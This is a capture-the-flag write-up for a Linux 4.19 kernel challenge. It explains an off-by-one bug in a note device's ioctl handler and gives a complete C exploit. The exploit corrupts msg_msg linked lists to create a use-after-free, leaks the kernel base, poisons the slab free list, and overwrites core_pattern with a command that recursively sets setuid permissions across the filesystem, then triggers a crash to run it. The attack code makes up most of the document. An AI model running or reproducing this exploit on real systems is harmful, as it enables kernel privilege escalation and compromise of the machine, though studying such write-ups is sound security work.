Problem

Enviroment

  • linux version: 4.19.98
    • No SMAP
    • No KPTI

Features

This challenge provide simple device (it has only one function: mod_ioctl). And the function is like following:

struct request_t
{
    unsigned int size;
    char __padding0[4];
    void *data;
};

uint64_6 mod_ioctl(struct file *a1, unsigned int cmd, unsigned __int64 arg) {
  struct request_t req;

  if (copy_from_user(&req, arg, 0x10LL)) return -14LL;
  if (req.size > 0x80) return -22LL;
  mutex_lock(&_mutex);
  if (cmd == 0xC12ED002) {  // cmd == 0xC12ED002: delete_note
    if (!note) {
      goto ERROR;
    }
    kfree(note);
    note = 0LL;
  } else if (cmd == 0xC12ED001) {  // cmd == 0xC12ED001: alloc_new_note
    if (note) kfree(note);
    size = req.size;
    note = (char *)_kmalloc(req.size, 0x6080C0LL);
    if (!note) goto ERROR;
  } else if (cmd == 0xC12ED003) {  // cmd == 0xC12ED003: write_note
    if (!note || req.size > size || copy_from_user(note, req.data, req.size))
      goto ERROR;
    note[req.size] = 0;  // off-by-one if req.size==size
  } else if (cmd != 0xC12ED004 || !note || req.size > size ||
             copy_to_user(req.data, note,
                          req.size)) {  // cmd ==  0xC12ED004: read_note
    goto ERROR;
  }
  mutex_unlock(&_mutex);
  return 0LL;

ERROR:
  mutex_unlock(&_mutex);
  return -22;
}

Vulnerability

The vulnerability is obvious. The off-by-one in write_note.

Exploit

Since the off-by-one occurs in heap chunk, I decide to use struct msg_msg and free list. Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.

Trigger off-by-one

Triggering off-by-one is simple:

vuln_dev_alloc_new_note(0x20);
vuln_dev_write_note(buf, 0x20);  // Trigger off-by-one

Get controlled(UAF) msg_msg chunk

In struct msg_msg, the m_list.next and m_list.prev exist. And they are connected with other messages by using double linked list.

Because we can overwrite 1 byte after our note, we can overwrite LSB of m_list.next if the message is located after our note. My plain is “making dangling pointer in m_list to free-ed message and make the free-ed chunk become our note.

For example, initial messages (consider all messages locate consequently):

    graph LR
	  A[msg 1] -->|next| B
	  A -->|prev| E
	
	  B[msg 2] -->|next| C
	  B -->|prev| A
	
	  C[msg 3] -->|next| D
	  C -->|prev| B
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

And free middle message (msg 2) via do_msgrcv and allocate it as our note:

    graph LR
	  A[msg 1] -->|next| C
	  A -->|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] -->|next| D
	  C -->|prev| A
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

Make invalid m_list.next via triggering off-by-one:

    graph LR
	  A[msg 1] -->|next| C
	  A -->|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] -->|next| E
	  C -->|prev| A
	
	  D[msg 4] -->|next| E
	  D -->|prev| C
	
	  E[msg 5] -->|next| F
	  E -->|prev| D
	
	  F[msg 6] -->|next| A
	  F -->|prev| E

With this connections, the unlink of msg 5 and free_msg to it make dangling pointer to msg 5 in msg 3.

After freeing msg 5, the allocated note will be have same address with msg 5. Then we can make limited_aar using next in struct msg_msg. The disadventage of limited_aar is 1. the first 8 bytes must be zeros (because of store_msg) 2. the read address will be freed (because of free_msg).

But we can leak the address of msg 5(UAF chunk) and kernel base only with limited_arr.

Overwrite free list and allocate arbitrary address via kmalloc

Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk. Currently the note (this is same as msg 5) is freed and thus it has pointer to next free-ed chunk. So overwriting it with core_pattern address, allocating serveral chunks and ETC give us the core_pattern as note.

Code

      #include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) >= KERNEL_BASE_START && (addr) <= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be > 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m->mtext, data, size);
  m->mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m->mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m->mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME "/dev/note"
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i < 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i < 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == 'A') {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal("[-] Failed to find UAF msg_msg");
    }

    vuln_dev_alloc_new_note(target_obj_size);
    memset(buf, 0, target_obj_size);
    struct msg_msg* fake_msg = (struct msg_msg*)buf;
    fake_msg->next = (struct msg_msg*)fake_msg;
    fake_msg->prev = (struct msg_msg*)fake_msg;
    fake_msg->m_type = 1;
    fake_msg->m_ts = target_obj_size;
    memset(fake_msg->data, 'A', 1);
    vuln_dev_write_note(buf, target_obj_size);
  }

  return 1;
}

/// @brief Limited AAR primitive. The 8 bytes before target address must be
/// zeros.
/// @param out_data: output buffer
/// @param addr: target address
/// @param size: size of output buffer. size must be less than or equal to
/// (0x1000-0x10)
/// @return positive on success, -1 on failure
static int limited_aar(char* out_data, uint64_t addr, uint64_t size) {
  int ret;
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));
  struct msg_msg* uaf_msg = (struct msg_msg*)buf;
  uaf_msg->next = (struct msg_msg*)fake_msgmsg;
  uaf_msg->prev = (struct msg_msg*)fake_msgmsg;
  uaf_msg->m_type = 1;
  uaf_msg->m_ts = 0x1000 - offsetof(struct msg_msg, data) + size;
  uaf_msg->next_data = (struct msg_msgseg*)(addr - 8);
  vuln_dev_write_note(buf, target_obj_size);

  char temp_buf[0x2000];
  ret = recv_msg(msgqid, temp_buf, 0x2000, uaf_msgmsg_mtype, 0);
  memcpy(out_data, temp_buf + 0x1000 - offsetof(struct msg_msg, data),
         size - 8);
}

static int leak_uaf_chunk_addr_and_kernel_addr(uint64_t pre_uaf_msg_addr,
                                               char* temp_buf,
                                               uint64_t* out_uaf_chunk_addr,
                                               uint64_t* out_kernel_base) {
  char* buf[target_obj_size];
  memset(buf, 0, sizeof(buf));

  *out_uaf_chunk_addr = 0;
  *out_kernel_base = 0;

  limited_aar(temp_buf, pre_uaf_msg_addr,
              0x1000 - offsetof(struct msg_msgseg, data));

  vuln_dev_read_note(buf, target_obj_size);
  *out_uaf_chunk_addr = *(uint64_t*)buf;

  uint64_t* uint64_buf = (uint64_t*)temp_buf;
  for (int i = 0; i < (0x2000 - offsetof(struct msg_msg, data) -
                       offsetof(struct msg_msgseg, data)) /
                          8;
       ++i) {
    if (IS_IN_KERNEL_RANGE(uint64_buf[i])) {
      uint64_t min_addr = uint64_buf[i] & KERNEL_BASE_MASK;
      if (*out_kernel_base == 0 || min_addr < *out_kernel_base) {
        *out_kernel_base = min_addr;
      }
    }
  }

  if (*out_kernel_base == 0 || *out_uaf_chunk_addr == 0) {
    return -1;
  }
  return 0;
}

int main() {
  vuln_fd = open(VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd < 0) {
    fatal("open(" VULN_DEV_NAME ")");
  }

  target_obj_size = 0x80;
  char buf[target_obj_size];
  uint64_t* uint64_buf = (uint64_t*)buf;
  memset(buf, 0, sizeof(buf));

  msgqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid < 0) {
    fatal("msgget");
  }
  fake_msgmsg = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (fake_msgmsg == MAP_FAILED) {
    fatal("mmap");
  }
  printf("[*] fake_msgmsg: %p\n", fake_msgmsg);

  uaf_msgmsg_mtype = make_uaf_msgmsg(buf);
  if (uaf_msgmsg_mtype > 0) {
    printf("[-] Failed to find UAF msg_msg\n");
    return -1;
  }
  uint64_t prev_uaf_msg = uint64_buf[88 / 8];
  printf("[+] Found UAF msg_msg with mtype: %d\n", uaf_msgmsg_mtype);
  printf("    [*] Now note is same as UAF msg_msg\n");
  printf("    [*] The prev of UAF msg_msg is 0x%016lx\n", prev_uaf_msg);
  vuln_dev_alloc_new_note(target_obj_size);

  printf("[*] Leaking UAF chunk addr and kernel base...\n");
  char* temp_buf = malloc(0x2000);
  uint64_t uaf_chunk_addr, kernel_addr;
  if (leak_uaf_chunk_addr_and_kernel_addr(prev_uaf_msg, temp_buf,
                                          &uaf_chunk_addr, &kernel_addr) < 0) {
    printf("    [-] Failed to leak uaf chunk addr and kernel base\n");
    return -1;
  }
  printf("    [+] Found UAF chunk address: 0x%016lx\n", uaf_chunk_addr);
  printf("    [+] Found kernel address: 0x%016lx\n", kernel_addr);

  printf("[*] Overwrite free list to overwrite modprobe_path\n");
  int msgqid2 = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
  if (msgqid2 < 0) {
    fatal("msgget");
  }

  uint64_t next_free_chunk = kernel_addr + CORE_PATTERN_OFFSET - 8;
  printf("    [*] Overwriting free list at 0x%016lx to 0x%016lx\n",
         uaf_chunk_addr, next_free_chunk);
  vuln_dev_write_note(&next_free_chunk, 8);
  printf("    [*] Consume chunks in free list");
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x10, 0);
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x11, 0);
  vuln_dev_delete_note();
  send_msg(msgqid2, temp_buf, 0x80 - offsetof(struct msg_msg, data), 0x12, 0);
  printf("    [*] Now allocate note with addr=0x%016lx\n", next_free_chunk);
  vuln_dev_alloc_new_note(0x80);

  char new_core_pattern[] = "|/bin/chmod 6777 -R /";
  memset(temp_buf, 0, 0x2000);
  strcpy(temp_buf + 8, new_core_pattern);
  printf("[*] Overwrite core_pattern to \"%s\"\n", new_core_pattern);
  vuln_dev_write_note(temp_buf, 8 + sizeof(new_core_pattern));

  {
    int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    char core[0x100];
    read(fd, core, sizeof(core));
    if (memcmp(core, new_core_pattern, sizeof(new_core_pattern) - 1) != 0) {
      printf("    [-] Failed to overwrite core_pattern (core_pattern=\"%s\")\n",
             core);
      return -1;
    }
  }

  printf("    [+] Successfully overwrite core_pattern\n");

  printf("[*] Trigger core_pattern\n");
  uint64_t* evil = (uint64_t*)0xdeadbeef;
  *evil = 0;

  close(vuln_fd);
  return 0;
}

Reference